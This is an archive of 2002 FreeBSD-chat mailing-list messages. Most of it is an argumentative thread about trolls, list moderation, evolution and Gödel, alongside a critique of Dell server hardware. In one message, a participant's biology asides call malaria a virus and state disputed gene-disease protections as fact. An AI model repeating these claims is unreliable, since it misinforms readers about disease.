-0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011811.g81IBY144315@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 11:11:29 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > Not really; it just changes the order of purchase for the items >> > you put on your shopping list. >> >> There's a case of rapidly diminishing space on this planet for the >> people that are on it. I'd say that existing "societies" are aware of >> this fact, and use that as a justifier to make sure that no one >> can go find their own island. > > The price for the Tongan Navy as US$1M; seems to me that if you > had bought them first, the problem would not have arisen... The real question is why the US wasted a million on it. Apparently their methods must have had some remote chance of success, or it would not have been worth it. >> > I presume you know "The Barometer Story"? >> >> You'd be presuming wrong. > > Here is the original: > > http://www.aiglon.ch/archive/meds/ajl.shtm Ah, I'd read this a long time ago but didn't call it "The Barometer Story". ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< A 32-bit patch for a 16-bit GUI shell running on top of an 8-bit operating system written for a 4-bit processor by a 2-bit company who cannot stand 1 bit of competition. -Rev. Pee Kitty, on Windows 95 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 11:21:58 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 627E637B400 for ; Sun, 1 Sep 2002 11:21:53 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id F1C2D43E72 for ; Sun, 1 Sep 2002 11:21:52 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g81ILo144411; Sun, 1 Sep 2002 11:21:50 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209011821.g81ILo144411@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 11:21:45 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Terry Lambert writes: >> > Dave Hayes wrote: >> >> I claim you should not worry about what others do, your focus should >> >> be on what YOU do, and that will maximize gain for you and (somewhat) >> >> society. You appear to claim that we have to focus on what OTHERS do >> >> and controlling them achieves more gain for you and society. >> > >> > How can individuals cooperate to achieve common goals, if everyone >> > acts as you would have them act? By what system? >> >> Eh? Why does this position imply that individuals cannot cooperate? >> How can individuals cooperate at all if they do not focus on what they >> do as a first priority? > > It doesn't imply they can't, it implies they won't. It implies no such thing either way. You can be focused, for example, on what you are doing for another. > You have to take "OTHERS" into account; it's not about "controlling > them", it's about communication. If you take the tack that you are > "out for yourself", then you lose. Again, I'm not implying that. I'm saying you should be worried about your own progress and your own issues first. If you are focused on how "you can get something from this other", that's not the focus I am talking about. > Understanding the Prisoner's Dilemma, you are half way to > understanding why Objectivisn is not a long term success > strategy, and why you should license your code under a BSD > license, rather than the GPL. 8-). Man, are you implying I'm an objectivist? *shudder* If you wanted to insult me (and I let you), you picked one of the best ways. >> > Then allow me to operate on the principle of successive >> > approximation, >> >> Measuring the greatest good is not done using any continuous >> increasing space of quantative measure. It's not even mathematical. > > You mean "I don't know the math which would enable me to model > that correctly". 8-). I don't think there IS any math that would enable you to model that correctly. You don't even have a solid context to apply any measuring semantics. >> You just can't "measure" or "know" this or usefully map it to any >> remotely rational or linear process. Approximations, in fact, may do >> more harm than good. > Definition (NIST : http://www.nist.gov/dads/HTML/monteCarlo.html ) > Monte Carlo Algorithim - A randomized algorithm that > may produce incorrect results, but with bounded error > probability. What good is this for measuring "good"? > Respectfully: a tool may only do "more harm than good" if it is > used by someone who does not know how to use it correctly. By the same boat, attemping to act on unknowable data about what is the "highest and best good" may do "more harm than good" if someone does not know how to approach this correctly. >> > and, when or if you come up with a better yardstick, I can siwthc to >> > using it instead. >> >> It's not -my- responsibility to do -your- duty. ;) > > How did it become my *duty*? It always was your duty to find the best yardstick by which to measure 'highest and best good'. > Are you implying a belief in the Social Contract? 8-). I don't really believe anything anymore, even if I happen to use the word in passing conversation. It is either knowable or unknowable.n If knowable, I either know it or I do not. >> >> It wasn't intended to succeed or fail, actually. It was intended to >> >> demonstrate. What I failed to realize was that, for a demonstration to >> >> be effective, it must fall on fertile eyes and ears. >> > >> > In order for a system top operate indefinitely, it must achieve >> > homeostasis. >> >> IYHO. ;) > > Definitionally. Your definition. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< By definition, when you are investigating the unknown, you do not know what you will find or even when you have found it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 11:27:16 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B26D737B400 for ; Sun, 1 Sep 2002 11:27:14 -0700 (PDT) Received: from mail.uninterruptible.net (ns1.uninterruptible.net [216.7.46.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2A27C43E42 for ; Sun, 1 Sep 2002 11:27:14 -0700 (PDT) (envelope-from kris@catonic.net) Received: from Spaz.Catonic.NET (tnt6-216-180-4-236.dialup.HiWAAY.net [216.180.4.236]) by mail.uninterruptible.net (Postfix) with ESMTP id 1D6D55002E; Sun, 1 Sep 2002 18:25:00 +0000 (GMT) Received: by Spaz.Catonic.NET (Postfix, from userid 1002) id 7F2473352; Sun, 1 Sep 2002 18:23:34 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by Spaz.Catonic.NET (Postfix) with ESMTP id 79E274C57; Sun, 1 Sep 2002 18:23:34 +0000 (GMT) Date: Sun, 1 Sep 2002 18:23:34 +0000 (GMT) From: Kris Kirby To: Dave Hayes Cc: Terry Lambert , Dominic Marks , Subject: Re: Why did evolution fail? In-Reply-To: <200209011811.g81IBY144315@hokkshideh2.jetcafe.org> Message-ID: X-Mailer: !/bin/sh MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sun, 1 Sep 2002, Dave Hayes wrote: > Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org > >>> The opinions expressed above are entirely my own <<< Kids: Cut me and Dominic from the CC list. I'm on -chat, and Dominic didn't want to be CC'd. -- Kris Kirby, KE4AHR TGIFreeBSD IM: 'KrisBSD' "BIG BROTHER IS WATCHING YOU!" This message brought to you by the US Department of Homeland Security To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 15:54:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7D08037B400 for ; Sun, 1 Sep 2002 15:54:37 -0700 (PDT) Received: from carver.gumbysoft.com (carver.gumbysoft.com [66.220.23.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id E97A043E42 for ; Sun, 1 Sep 2002 15:54:36 -0700 (PDT) (envelope-from dwhite@gumbysoft.com) Received: by carver.gumbysoft.com (Postfix, from userid 1000) id B38F172FCB; Sun, 1 Sep 2002 15:51:44 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by carver.gumbysoft.com (Postfix) with ESMTP id B256872FC8; Sun, 1 Sep 2002 15:51:44 -0700 (PDT) Date: Sun, 1 Sep 2002 15:51:44 -0700 (PDT) From: Doug White To: Eric Anderson Cc: Clifton Royston , Subject: Re: [long] Server motherboard recommendations for 4.X/5.X? In-Reply-To: <3D6FE01E.4050106@centtech.com> Message-ID: <20020901154525.X5949-100000@carver.gumbysoft.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 30 Aug 2002, Eric Anderson wrote: > Has anyone recommended Dell stuff? I'm sure they'll have something that fits > you. I use all kinds of their stuff for FreeBSD, and the the RAID controllers > are supported in FreeBSD easily. Not really ... I just evaled a PowerEdge 2650 and a 1650. 1) The onboard Broadcom gigabit ethernet has interrupt issues -- times out and generally doesn't work on either -stable or -current. 2) The hardware monitoring is not IPMI compliant even though Dell says it is. The system inteface does not conform to the standard. 3) The PE2650 is a poorly built machine -- its possible to damage the front keyboard port with the top cover, it can't be front-mounted, its huge, and generally feels cheap. The 1U chassis is of the previous generation and is generally better built. 4) Dell can't make up their mind what disk carrier they want to use, so they aren't cross-compatible across their line. 5) The 2650 can only take 5 disks; most other large manufacturers (HP, Intel) support 6 or 7 disks. I can't recommend Dell at this time... Intel has a much better designed and built system and gives equivalent if not superior feature sets and warranty coverage. Plus you can support your local system builder rather than contributing to the 800 pound gorilla. -- Doug White | FreeBSD: The Power to Serve dwhite@gumbysoft.com | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 17: 0:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0BFC537B400 for ; Sun, 1 Sep 2002 17:00:24 -0700 (PDT) Received: from HAL9000.homeunix.com (12-232-220-15.client.attbi.com [12.232.220.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 37A6C43E4A for ; Sun, 1 Sep 2002 17:00:23 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Received: from HAL9000.homeunix.com (localhost [127.0.0.1]) by HAL9000.homeunix.com (8.12.5/8.12.5) with ESMTP id g8200JWu000539; Sun, 1 Sep 2002 17:00:19 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Received: (from das@localhost) by HAL9000.homeunix.com (8.12.5/8.12.5/Submit) id g8200J7A000538; Sun, 1 Sep 2002 17:00:19 -0700 (PDT) (envelope-from dschultz@uclink.berkeley.edu) Date: Sun, 1 Sep 2002 17:00:19 -0700 From: David Schultz To: Giorgos Keramidas Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Proofs, correctness, and other boring stuff (was: Why did evolution fail?) Message-ID: <20020902000019.GA486@HAL9000.homeunix.com> Mail-Followup-To: Giorgos Keramidas , Terry Lambert , chat@FreeBSD.ORG References: <200208310608.g7V68h128080@hokkshideh2.jetcafe.org> <3D707754.1981EA36@mindspring.com> <20020831100938.GA262@HAL9000.homeunix.com> <3D71D8E6.71248CEB@mindspring.com> <20020901120813.GA1227@HAL9000.homeunix.com> <20020901132835.GC16183@hades.hell.gr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii:iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20020901132835.GC16183@hades.hell.gr> Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Thus spake Giorgos Keramidas : > On 2002-09-01 05:08 +0000, David Schultz wrote: > > Thus spake Terry Lambert : > > > We're not talking about correctness, here, we're talking about > > > truth. 8-). > > > > So was Gödel. I'm not sure what you're trying to say---but can > > you prove it? If I discussed the correctness of such a proof, > > wouldn't that automatically make it wrong? > > No, it wouldn't. A correct proof, whose correctness is under > discussion and doubted, can still be proven correct. Not by its very > self, mind you, but by a meta-proof [repeat forever]. It was supposed to be a joke. (You don't think I would get involved in this thread in any kind of serious way, do you?) If Terry offers a proof that ``we're not talking about correctness'', and I question the correctness of his proof, then the proposition is false. -- A zero-sum game is one where either I win or you lose. --Allison Coates, 2002-04-29 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 19: 3:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CA1037B400 for ; Sun, 1 Sep 2002 19:03:41 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id A179643E3B for ; Sun, 1 Sep 2002 19:03:40 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0170.cvx21-bradley.dialup.earthlink.net ([209.179.192.170] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lgYu-0003bp-00; Sun, 01 Sep 2002 19:03:33 -0700 Message-ID: <3D72C6B9.293ECA64@mindspring.com> Date: Sun, 01 Sep 2002 19:02:33 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: Dominic Marks , Kris Kirby , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011811.g81IBY144315@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: [ ... a shopping list for starting a new country ... ] > > The price for the Tongan Navy was US$1M; seems to me that if you > > had bought them first, the problem would not have arisen... > > The real question is why the US wasted a million on it. Apparently > their methods must have had some remote chance of success, or it > would not have been worth it. Because it's competing in the same space, of course. The people trying to start the new country were simply out-competed. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 21:10:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78BDD37B400 for ; Sun, 1 Sep 2002 21:10:01 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8CA7A43E65 for ; Sun, 1 Sep 2002 21:10:00 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0170.cvx21-bradley.dialup.earthlink.net ([209.179.192.170] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17liXB-0007kO-00; Sun, 01 Sep 2002 21:09:54 -0700 Message-ID: <3D72E44E.CB303FAE@mindspring.com> Date: Sun, 01 Sep 2002 21:08:46 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Heaven forbid I be reduced to a religious argument. ;) Yes; if you are, you have already lost, since you will lack the ability to communicate it to anyone else. Even if you perceive the numinous, you yourself are not numinous. It's like being a Sony MiniDisc player, with the "one copy only" bit set. 8-). > > The simple fact is that recessive genes are never removed from the > > gene pool, only individuals in which they express are removed. > > If a gene exists in an organism but isn't expressed, isn't that > effectively the same as removing it? You *really* don't know much math, do you? The answer is that only gene combinations which are actively fatal to the organism will be removed from the gene pool. If they are not active, then they are not removed. The result is the genetic equivalent of a binary weapon. Actually, genes can "half express". An example of this is the sicle-cell anemia gene, which, if fully expressed, was invariably fatal in the past (these days, if it's caught, we can effectively treat the symptoms, but not correct the flaw that causes them, with a bone marrow transplant -- another example on the order of corrective lenses or exogenous insulin). The interesting part is that if you only have 1/2 the genes for Sicle-Cell anemia, then you are resistant to infection by Malaria. When the Malaria virus invades a cell, rather than reproducing itself (and the virus, spreading it), the cell sicles. Similarly, the genes for Tay-Sachs protect against Tuberculosis, and the genes for Cystic Fibrosis protect against Cholera. > > "Good luck to you, oh fellow traveller". > > You can't be seriously implying you are on this same road... Look up the phrase "fellow traveller". 8-). > > I disagree. It speaks to the consensus definition of "right" and > > "wrong". > > So 2000 people come up to you with big sticks and tell you they > will beat you up unless you admit the earth is flat. I remember this guy named Galileo... [ ... putting rapists in prison and/or killing them ... ] > Actually that evolves the creatures who engage in forcible > reproductive acts, by forcing them to do this such that they > are not caught. Arguably, this makes them quicker and more > efficient. This shows a really poor understanding of evolution. Here's a nutshell synthesis, taking your premise: o A mutation occurs, resulting in an individual with a new trait, which can be passed on o The environment votes for or against the reproduction of the individual o If the environment votes "for", then the genes are passed on, and enter the gene pool o If the environment votes "against", then the genese are not passed on, and remain outside the gene pool None of the evolutionary preseeures in for bear on the *parents* of the individual with the mutation, *only* on the success of the mutated individual itself. > > External reality can act to take away our access to any reality, > > external or internal. You have to accomodate that fact, even if > > you dislike it. > > Nonsense. Mental institutions with catatonics are a good counter > example. That external reality *does not* does not mean that it *can not*. > > As to what I choose to remember, well, it's not like I have to > > forget one thing to remember another. > > Irrelevant to the point, of course. Sure it is. You were claiming a finite resources, with a near bound. I'm arguing that, if not infinite, at least the bound is much farther away than you claim. > They have to find you first. In that, there is the balance of power. Read: The Transparent Society David Brin ISBN: 0-7382-0144-8 > The successful (i.e. not caught) ones reproduce and pass their skills > on to their offspring. Displacement is not necessary if you can live > within and be unnoticed until time to act. Incorrect. The skills are passed environmentally. [ ... ] > You forget to take this one step further. I don't need to rationalize, > I know who and what I am. Arguments against my nature are irrelevant > and obviously wrong. ;) So you are able to seperate the genetic (your nature) and environmental (programming) factors that make up your own psyche? Wasn't someone just saying something about Kurt Goedel the other day?... > > I'll accept the validity of proof for the sake of argument, so you > > can proceed without first proving it, if you want... ;^). > > That would go against rigor. ;) Hardly. We would merely be debating the self-consistency of the model you are proposing. > > First, there is already an individual who has colonized an oil rig > > in the North Atlantic in this fashion. It was fairly widely reported > > about four weeks ago. > > This person hasn't been challenged yet? Amazing. Challenged -- and he won -- in a U.K. court. > > If the reason is that once societies grow large enough, your ideas > > will not work, well, I guess your ideas lose. > > It's humanity that loses. Apparently not in the opinion of humanity... > > If it's not provable, then it's not true. > > This is false but I won't prove it. ;) Goedel. > > > All things which are true are, at least eventually, provable. > > I disagree, and you can't prove that. |) Goedel. > > If it didn't have a chance of being effective externally, you > > would not so vehemently argue against external blocking, since > > an ineffective block is a transparent membrane. > > It doesn't have a chance of being effective against blocking trolls, > but it does have a chance of stifiling communication...which is why > I get so vehement. As long as it has the effect of stifiling communition *by trolls*, that's all that matters, in the limit, since that is the problem we are trying to address. > > It works? > > Not where I come from. If you attempt interference, you suddenly > have problems you didn't before. You calim this, yet, if you anhilate your enemy, rather than merely decimating them, they do not rise again. > > and your previous attempts to demonstrate "your way" have resulted in > > failure? > > Which ones would those be? Don't be coy. I've read your web site, and I'm well aware of your failure to establish what you call a "Usenet Site of Virtue". > >> I think we've both -been- asking the list for some time now, in a > >> roundabout way of course. > > > > Then the list has *already* responded. You initial posting was an > > attempt to challenge that response. On a voting majority basis, it's > > basically 17:2 (you and the troll being the two). > > What? I haven't seen -any- responses to this issue. You have seen negative reaction to the troll. There has been no positive reaction, other than your own. > >> I do. I want to read those posts. > > > > So subscribe to the venue in which they are permitted to be posted, > > What venue would that be? =P One you run, instead of expecting someone else to run it for you. > > What you really mean to say here is that you want *us* to have to > > read these posts, as well, and therefore the only suitable venue in > > which the posts can take place is *these lists*... IYHO. > > Not exactly. What I really want to see is you *responding* to those > posts. In that lies the information that I consider just as valuable > as the regular traffic. Responding... as in the response of blocking future posts? Or do you mean engaging in discourse with the troll? > However my real position is against any sort of moderation, not > because of these responses, but because of the chilling effect > moderation has on the information flow in the list. My real position is against any sort of trolling, because of the chilling effect trolling has on the information flow in the list. > > Rational humanist; definitely not "objectivist". > > Wow, this explains much (presuming you fit the accepted consensual > definition of "rational humanist", which I suspect you don't). > > If I remember correctly, this category of people disdains taking > ethical or moral guidance from supernatural or mythological beings > (e.g. "God"), preferring instead to resolve dilemnas of this > nature with reason and rationality. > > Is this your position as well? Yes, that's my preference. > > Now please demonstrate how a troll posting to -hackers fits within > > the list charter by any stretch of the imagination. > > A demonstration is inappropriate. It's the only appropriate response to a threat of "censorship". > My position is against moderation (not "pro-troll" as I have been > arguing). I recognize you want to remove trolls. What I don't like > about any sort of moderation is that it chills the expression of > information. Some information will be lost, from those who don't wish > to risk having their posts placed before moderation. Some say this is > good, I say I'd rather wade through a lot of posts. The problem with this is it ignores the fact that topical postings, however unpopular, will be protected by the mutual security network. That is the point of a mutual security network. Even a loosely connected network will be successful in achieving this goal. > Now don't get me wrong, I still do like troll postings (and moreso, > their responses). However, I would agree with banning email addresses > after the second posting as you have suggested, because this does > not involve moderation. Ah. Good. Then you agree with the actions which have already been taken by the list, in this regard. > > before, it fits the charter of -chat, no problem (you will notice > > that when I respond on this topic, I response only in -chat). > > You'll notice I began my commentary in "-chat". You'll also notice I > told people that I would stop bantering with you if asked. Just > because I'm having fun doesn't mean they are. ;) Actually, you said you would stop bantering "if asked"; no need to implicate me specifically in your control function. 8-). > > I'm talking about a mutual altruism network. The concept of "mutal > > altruism" is not identical to the concept "altruism", or I would not > > have needed to use the adjective "mutual" to modify "altruism" in > > order to communicate what I meant. > > It must have some similarity, however, because you are modifying the > original concept of "altruism". Your modifier makes no sense to me, > since it would seem to be oxymoronic...like "smart politician", > "excellent microsoft software", or "polite troll". ;) It defines a specific type of mutual security game. The kind which is played by Open Source Software projects on mailing lists, news groups, or other communications mediums. > Good god. I'm not trying to create a proposed society (horrors) and > really the only change I can be accused of making is wanting to resist > efforts to moderate certain FreeBSD lists. (I've long ago stopped > wanting to oppose moderation on the net as a general rule.) The only moderation which has been suggested recently is the moderation of the FreeBSD-security list. I don't believe *anyone* has suggested moderation of -hackers or -chat as a means of preventing the troll postings to those venues. > > On the other hand, I have no problem whatsoever with you creating > > your own mailing list server and establishing your proposed society > > on that server, instead. > > I'd just bet this is false. By your definition of "social conscience" > you have a moral obligation to make sure my society is adhering to > your rules...er..."consensual standards of decency". So you would > have to interfere by your own definitions. Nonsense. I only have a responsibility to the societies of which I am a member. > >> Hey, it's your gift. You can take it back any time you want. > > > > I'm not taking it back. My gift is not the object itself, but a > > license to use the object under certain preconditions. 8-). > > Ghod. You are going to now assert that we have to be licensed to use > the FreeBSD lists? In the limit... yes. Though your reaction implies inclusionary licensing, rather than exclisionary non-licensing. A social contract grants you a license. A society has a right to terminate that license, if you are in violation of the social contract under whose terms you obtained the license. To put it another way, you have the right to speak, but you do not have the right to an audience, or the right to the forum in which a particular audience exists. > Are you sure you don't work for the US Govt? [ checks implant... ] Pretty sure... my black helicopter is just a lease, not a company car... 8-). [ ... changing your mind by changing your mind ... ] > > Don't panic. Society will only do it if you *act* on your racism. > > The panic comes from the implication that society has the right to > reform us in the image they want. I find this abhorrent and evil. It's preconditioned on your willing participation in the society, and a grant of license by you, by virtue of your participation. Participation in society is voluntary. > > Don't be so quick to dismiss the idea that I could wilfully create > > such a place in the noosphere. > > I'm sure you could create your own perfect section of net society. > I'm also sure that it would deviate from perfect the moment you > created it. Maybe my idea of perfection would be that it would be enough for it to exist in the first place. 8-). > > If there were 10 and them and 1 of me, then I'd be the troll, and > > they'd be the society being trolled. > > And would your principles apply then? ;) Yes. > >> Very intersing. I would have no substantative objection (which won't > >> stop me from objecting on principle) to this, given a troll can get > >> an infinite source of email accounts. > > > > "Hotmail". > > Hopefully this will exist for some time. However, it's safe to assume > that someday it will go away. Next? ;) > > A stagnant community is one in which no forward progress is > > possible, due to the preponderance of trolls, since it is their > > nature to disrupt the society's ability to act, even in the > > direction of forward progress. And herein lies the problem > > with permitting trolls. > > That is not the definition I was using. > > A stagnant community is one in which no forward progress is possible, > due to the fascism and fixed ideas inherent in the community, since > new ideas will be quickly stifled as against the status quo, even if > these ideas are topical and in the direction of forward progress. And > herein lies the problem with moderation. The BSD community is roughly self-assembled around the issue of license, just as the Linux community is roughly self-assembled around the issue of license. If you want to self-assemble a community around a different issue, or if you want to self-assemble a community around the same issue or a different license, then feel free to do so. Both the BSD and Linux communities are members of a larger community which is self-assembled around the issue of an attribute of license: the Open Source or non-Open Source nature of the license. If you want to self-assemble a community around a different issue, or if you want to self-assemble a community around the same issue or a different license, then feel free to do so. > > Your point is that I must have faith in my axioms. I will accept > > that. But since I have exactly 8 axioms, and know very well what > > they are, it's unlikely that you will be able to arrive at them > > by means of guessing, even if that guessing is educated. > > Only 8? Amazing. What are they? None of anyone else's damn business. 8-). > > Or not data I want, > > Sure, I can accept you are filtering out the data you want from the > raw stream that's out there. Just remember one man's Noise is another > man's Data. I prefer to think of it as having a multitude of streams, each containing a certain classification of data, and filtering by means of selecting which streams to monitor. It's significantly more efficient, since it means that I don't have to interpose an additional latency barrier. Your way, of having only one single mailing list for all of the Internet, and forcing everyone to filter, is inefficient, both because it's computationally a much more expensive algorithm, and because of the latency that's introduced. > > because it is not representitive of repeatable empirical > > observations? > > Trolls are not repeatable empirical observations? Have you ever made a > study of them? Oh, yes. Which is why I can speak to motive without difficulty. > >> IMEO, there is a manifest destiny for humans to be able to communicate > >> with each other without some authoritarian gibbert telling them how > >> they can and cannot speak. > > > > That's a use to which you personally want to put a communications > > medium, > > No, that's a use that I observe is necessary. That's the use which you *posit* is necessary. Quintessential necessity has yet to be established indisputably. > > That doesn't make it the manifest destiny of the Internet, merely > > because of your opinion of the manifest destiny of human kind. > > As has been demonstrated to me many times in my life, my opinion > hardly matters. There are those who agree with this use of the > internet and those who disagree. The reason I argue that this is > necessary has a lot to do with the ease of ignoring something you > don't like on the internet. And the reason I argue for preconditionas on particular channels is the computational expense inherent in implementing your method. > The subtle straw man of "go create your own island" again raises > it's ugly head. It's not a strawman. Do it. The only thing preventing you from running a mailing list server or usenet server of your own is you. > >> Consider. YOU lobbed the first volley at me. I'm enjoying myself, I > >> haven't had a good usenet style debate in ages. But by the same token, > >> I have no delusions that I am swaying you of anything other than > >> thinking I am a fool. > > > > You were the one who posted in favor of trolls. > > Oh I see. Naturally, that forced you to post. I get it. ;) It didn't force me to post. I chose to post, in response. > > It was you who lobbed the first volley against the established > > social norm of the society in which your posting was made. > > What established social norm? "No Trolls Allowed (or birds)". > > Unfortunately, you have this Utopian ideal in mind, and I do not > > share your ideal, because, so far, you have failed to provide me > > any reason to accept the ideal as my own. > > I don't -want- to convince you. If I want anything, it's for you to > arrive at this ideal yourself in your own way without any real > external pressure to do so. Only then can I be sure you truly > understand what I am talking about. Everyone, in their own way, will > arrive there sooner or later...and then they will move on after that. It's not going to happen. Your ideal is (apparently) not emergent. > >> You are presuming One True and Right Society. I bet Iraq has something > >>> to say about the sociopathy of the American armed forces... > > > > Not applicable, unless there is a shared reference frame. I > > don't think "socipath" is the appropriate term in this context; > > I think the one the Iraqi's themselves have chosen is "Great > > Satan"... 8-). > > "Satan", "sociopath"...what's the difference? Evil has many names, > but the root of the concept is still the same. ;) Not applicable, unless there is a shared reference frame. > > Thanks. I would rather solve the class of problems, of which trolls > > are a member, then address the problem of individual trolls. If > > nothing else, there are economies of scale. 8-). > > You think there is an entire -class- of problems, of which trolls > are a member? *shudder* Yes. > Do you get out much? (I don't, and now I'm thinking maybe I should...) I recommend you learn to type faster. > > I never claimed to speak for everyone, merely the faction which > > agreed with my sentiments, and was not speaking themselves > > because they felt I was doing an adequate job. > > Remember, on the internet saying anything which relies on the validity > or existence of "all those unspoken supporters" is always considered > false. You do not have to *create* a Schelling point to *recognize* a schelling point. > > Diseased branches can kill a tree if they are not pruned. > > That's evolutionary pressure on the tree. |) No, it's not. Reread my initial statements on the operation of the evlutionary process. > Well then, why not just build your perfect society out of robots? > As their first act, you could have them kill all humans...because > humans sometimes do not avoid proscribed behaviors. "Why not"? We can start with the fact that you're the one who wants to change society... 8-). > > Regardless of your opinion of modern education (it can hardly be > > lower than my own), > > Don't presume please. ;) > > > to the society, it is the effect of the results on the society that > > matter. > > The ends justify the means? The results validate or invalidate the effectiveness of the means. That's a very different statement. > > A society no more cares for its individual members than you > > care for the individual cells which make up your body. > > The individuals care, in both cases. I'm sure you'd care a lot > if attending a Christian Church was mandated on Sundays... It doesn't matter to the society if the individual members care or not. If they care enough, they can elect to discontinue their membership the society. This 